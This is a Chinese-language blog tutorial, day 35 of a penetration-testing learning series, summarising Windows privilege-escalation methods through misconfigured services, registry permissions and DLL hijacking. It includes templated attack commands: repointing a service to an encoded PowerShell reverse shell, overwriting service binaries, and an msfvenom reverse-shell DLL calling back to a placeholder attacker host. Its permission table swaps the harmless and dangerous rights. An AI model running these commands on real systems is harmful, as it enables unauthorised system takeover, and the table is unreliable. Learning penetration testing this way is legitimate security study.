iT邦幫忙

2021 iThome 鐵人賽

1
Security

資安這條路─系統化學習滲透測試系列 第 35

Day35 - Windows 提權(6)-提權手法統整 Kernel Exploits vs Services Exploits

以圖卡的方式統整一下 Windows 提權手法:

Kernel Exploits vs Services Exploits

Kernel Exploits
透過系統核心版本,找到已知漏洞或 payload 進行攻擊後,因為系統核心有管理權限可以控制作業系統,因此可以透過核心進行攻擊並取得管理權。

Services Exploits
透過目前執行在後台的執行緒/服務,因為設定錯誤且以系統權限進行部屬,導致提升權限到 SYSTEM 權限與控制指令。

利用 Services Exploits 進行攻擊

以下為常見的範例:
Insecure Service Properties
Unquoted Service Path
Weak Registry Permissions
Insecure Service Executables
DLL Hijacking

Insecure Service Properties

Windows 中有一個機制叫做 ACL 可以規定使用者對檔案的權限。

權限 說明
無害 SERVICE_CHANGE_CONFIG,SERVICE_CHANGE_CONFIG
有用 SERVICE_STOP,SERVICE_START
危險 SERVICE_QUERY_CONFIG,SERVICE_QUERY_STATUS

如果我們有權限可以修改 SYSTEM 權限底下的設定資訊,就可以去修改該服務的 binary 路徑。

重新設定路徑
sc config <服務名稱> binpath= "\"C:\demo\test.exe\""

也可以透過 powershell 進行 revershell 指令,並透過 base64 編碼可以避免單引號和雙引號的問題。
sc config <服務名稱> binpath= "cmd /c powershell -EncodedCommand <Base64編碼過的指令>"

Unquoted Service Path

有些資料夾具有空白,執行指令的時候沒有將這些路徑透過雙引號,就會被用來執行惡意的檔案。

透過 winpeas winpeas.exe quiet servicesinfo 可以在結果中找到 Interesting Services -non Microsoft 發現 No quotes and Space detected 可能找到可能利用的路徑。

Weak Registry Permissions

Windows 註冊表中存在服務的值,也會透過 ACL 進行管理權限,如果 ACL 權限設定錯誤,即使無法直接修改服務,但可以修改服務的參數設定。

透過 winpeas winpeas.exe quiet servicesinfo 可以在結果中找到 Check of ypu can modify the registry of a service 發現可利用的註冊表路徑。

主要要找 NT AUTHORITY\INTERACTIVE 權限 Allow FullControl

找到之後修改成惡意路徑
reg add <註冊表路徑> /v <路徑參數> /t <註冊表格式> /d <惡意程式路徑> /f

Insecure Service Executables

直接修改原始服務的路徑。

透過 winpeas winpeas.exe quiet servicesinfo 可以在結果中找到 Interesting Services -non Microsoft 發現 File Permissions: Everyone [AllAccess]

copy /Y "<惡意檔案路徑>" "<原始檔案路徑>"

DLL Hijacking

載入 DLL 時,不管提供什麼功能的 DLL 都會以載入的服務權限來執行,如果 DLL 透過絕對路徑進行載入,而這個路徑資料夾我們也可以進行寫入的話,可以用來提升權限。

透過 winpeas winpeas.exe quiet servicesinfo 可以在結果中找到 Interesting Services -non Microsoft 發現 Check for DLL Hijkong in Path folders

可以在該目標上傳惡意的 dll 如下
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<攻擊主機IP> LPORT=<攻擊主機port> -f dll -o hijack.dll


上一篇
Day34 - Windows 提權(5)-WinPEAS
下一篇
Day36 - Windows 提權(7)-提權手法統整 Registry 相關
系列文
資安這條路─系統化學習滲透測試37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言